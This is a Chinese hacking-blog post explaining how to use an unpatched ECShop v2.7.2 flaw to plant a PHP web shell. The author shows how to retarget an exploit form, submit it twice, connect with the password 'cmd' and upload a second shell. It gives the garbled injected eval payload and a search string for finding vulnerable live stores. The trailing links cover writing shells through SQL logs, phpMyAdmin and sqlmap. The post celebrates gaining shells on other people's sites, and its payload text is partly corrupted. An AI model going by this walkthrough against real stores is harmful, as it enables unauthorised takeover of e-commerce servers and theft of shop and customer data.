ECSHOP号称最大的开源网店系统,官方是这样介绍它的:“ECShop网店系统是一套免费开源的网上商店软件,无论在稳定性、代码优化、运行效率、负载能力、安全等级、功能可操控性和权限严密性等方面都居国内外同类产品领先地位。

按照我的理解,作为一款网店系统,系统的安全性应该摆在很重要的位置,但ECSHOP却好像漏洞不断。就在前几天,xhming大牛又公布了一个ECSHOP前台写shell的Oday,利用漏洞获得shell非常简单,可以说是秒杀。从官方下载的ECSHOP的最新版本也存在这个漏洞,官方还没有出相应的补丁或对软件进行升级修补这个漏洞。

ECSHOP出现新漏洞对我来说是件好事,因为又有拿shell的漏洞了,哈哈。也希望ECSHOP在漏洞挖掘者的鞭策下能把ECSHOP做的更安全,更优秀,毕竟网店系统涉及网络交易,不是闹着玩的。

一、漏洞简介

出现漏洞的文件是demo目录下的index.php,代码我就不贴出来了!

关于漏洞的详细介绍请看漏洞出处。

二、漏洞利用方法

具体的漏洞分析我也不会,直接来看怎么利用这个漏洞来获得shell。目前ECSHOP的最新版本为,我危险漫步从官方下载了GBK版本的ECShop_V2.7.2pGBK Release0604,在虚拟机的PHPP环境中把ECSHOP安装了起来。

在论坛的一篇文章中xhming给出了一个漏洞利用的EXP,是一个用于提交数据的html文件,两次提交后会自动打开demo/index.php,页面上会显示phpinfo,xhming说了,提

交内容可以随意,言下之意就是你可以自己构造提交内容直接获得shell而不是象征性的执行phpinfo()函数。但并不是每个人都会构造直接获得shell的提交内容,好在Mr.LP在xhming的EXP的基础上修改后给出了可以直接获得shell的EXP。

使用方法:

1.修改form中action的内容为需要网址。

2.提交表单一次。

3.连接一句话木马,密码为cmd。把上面代码保存为exp.html,直接打开发现有乱码。把“charset=utf-8”修改为“charset=gbk”后乱码问题解决了。

用记事本打开exp.html,把提交地址修改为我虚拟机中ECSHOP的提交地址,保存修改后打开exp.html,点“提交”按钮后显示的结果,会把php-句话木马写到data目录下的config.php文件中,用lanker-句话PHP后门客户端连接,密码cmd,发现php-句话木马不能用。

在页面按网页浏览器的后退按钮来到exp.html,点“提交”按钮再提交一次数据。提交完数据后再次用lanker-句话PHP后门客户端连接,这次获得了shell)。

原来要提交两次才能获得shell,这里要注意一下。

通过比较原来的data目录下的config.php和获得shell后的config.php,发现通过两次提交数据向config.php中写入了下面的数据:define('EC_LANGUAGEI',.);@eVal($一POST[cmd]);#');@eval($_POST[cmdl);#’);。建议用获得的shell上传另一个shell上去。然后去掉config.php中新写入的数据。

通过搜索“Powered by ECShop v2,7.2”等可能找到存在这个漏洞的网站。ecshop的前台写shell 0day危险漫步就给大家介绍到这里,自己有ECSHOP网站的朋友等官方出了这个漏洞的补丁后快打上吧,漏洞很严重。这个漏洞利用起来非常简单,只需要写上目标网站的地址点两次“提交”按钮就获得了shell,对存在这个漏洞的网站可以说是秒杀。希望在利用这个漏洞拿shell时不要对网站造成破坏,如果能知道出现这个漏洞的原因并且学习漏洞利用的方法和思路就更好了。

秒杀ecshop的前台写shell 0day的更多相关文章

  1. 使用C#给Linux写Shell脚本(下篇)

    在上篇的<使用C#给Linux写Shell脚本>结尾中,我们留下了一个关于C#如何调用BashShell的问题.在文章发布之后,我留意到有读者留言推荐使用“Pash”(一款类PowerSh ...

  2. 写shell脚本速查笔记

    linux shell脚本的语法蛋疼,而且对于java开发人员来说又不常用,常常是学了一次等到下次用的时候又忘记了.因此制作这个速查笔记,用于要写shell脚本时快速回忆&速查. 获取当前脚本 ...

  3. python中写shell(转)

    python中写shell,亲测可用,转自stackoverflow To run a bash script, copy from stackoverflow def run_script(scri ...

  4. 写shell,运行出错:syntax error near unexpected token `$’do\r”

    cygwin下面写shell,运行出错:syntax error near unexpected token `$’do\r” 写shell,运行出错:syntax error near unexpe ...

  5. 十分钟学会写shell脚本

    大家好!我是handsomecui,下面我为大家讲解一下shell脚本的写法,讲的不好的地方,欢迎大家留言拍砖. 1.在linux下会写shell脚本是非常重要的,下面我参照例子给大家展示几个脚本,顺 ...

  6. 涨姿势:抛弃字母、数字和下划线写SHELL

    PHP中异或 (^) 的概念 <?php echo"A"^"?";?> <?php echo"A"^"?&quo ...

  7. SQL语句利用日志写shell

    outfile被禁止,或者写入文件被拦截: 在数据库中操作如下:(必须是root权限) show variables like '%general%'; #查看配置 set global genera ...

  8. upupw phpmyadmin写shell

    废话: upupw给我的感觉是一个充当了waf毁三观的垃圾程序.然而,我讨厌的程序,管理员都特别喜欢用. 你会发现直接用之前那套写shell的建表然后在值里添加shell代码写到一个路径不可以了. C ...

  9. win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)

    今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站   先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...

随机推荐

  1. spring cloud(学习笔记)高可用注册中心(Eureka)的实现(一)

    最近在学习的时候,发现微服务架构中,假如只有一个注册中心,那这个注册中心挂了可怎么办,这样的系统,既不安全,稳定性也不好,网上和书上找了一会,发现这个spring cloud早就想到了,并帮我们解决了 ...

  2. HttpReponse

    属性: django将请求报文中的请求行.头部信息.内容主体封装成 HttpRequest 类中的属性.   除了特殊说明的之外,其他均为只读的. 0.HttpRequest.scheme   表示请 ...

  3. undefined reference to symbol 'pthread_create@@GLIBC_2.2.5' 的修改方法

    在编译DSO代码的时候会如下这样的问题: 检查DSO,在程序中没有用到pthread,但是在编译的时候却出现此类问题.仔细想了想了一下,在程序中用到了C++11中的线程std::thread,个人猜测 ...

  4. 【原创】大叔问题定位分享(24)hbase standalone方式启动报错

    hbase 2.0.2 hbase standalone方式启动报错: 2019-01-17 15:49:08,730 ERROR [Thread-24] master.HMaster: Failed ...

  5. js 中arguments,call,apply,bind的使用

    //对于 arguments和this, 每个函数都有自己独有的arguments和this, 且不进行链式查找 //arguments是什么? //答:1:arguments是收到的实参副本 //2 ...

  6. node express+socket.io实现聊天室

    参照网址:https://www.jb51.net/article/135058.htm https://www.cnblogs.com/limitcode/p/7845168.html https: ...

  7. Java项目使用SQLite数据库后无法启动的问题

    背景: Java > maven 的 jar 项目 功能是记录用户的每天的按键次数 使用 jar2exe 工具将 jar 转为 exe 可执行文件 原本项目中使用的Mysql数据库,使用Myba ...

  8. Jmeter性能测试之Monitor监控(SSHMon Samples Collector)

    前面写的一篇Monitor监控有缺陷, 这篇文章使用Jmeter4.0+的版本, 使用插件SSHMon Samples Collector来做资源监控 1. 官网下载插件: plugins-manag ...

  9. 一JavaScript获取当前月份的前12个月,获取最近的12个月二js实现获取当前月份前的12个月份,格式化后放在一个数组里

    一 ,var dataArr = []; var data = new Date(); var year = data.getFullYear(); data.setMonth(data.getMon ...

  10. python的单、双、多分支流程控制

    if流程控制总结: 1.当满足条件时,执行满足条件的代码. 2.当执行完if语句内代码,程序继续往下执行. 单分支: if 条件成立,执行满足条件的代码 如下: if a>50: print(' ...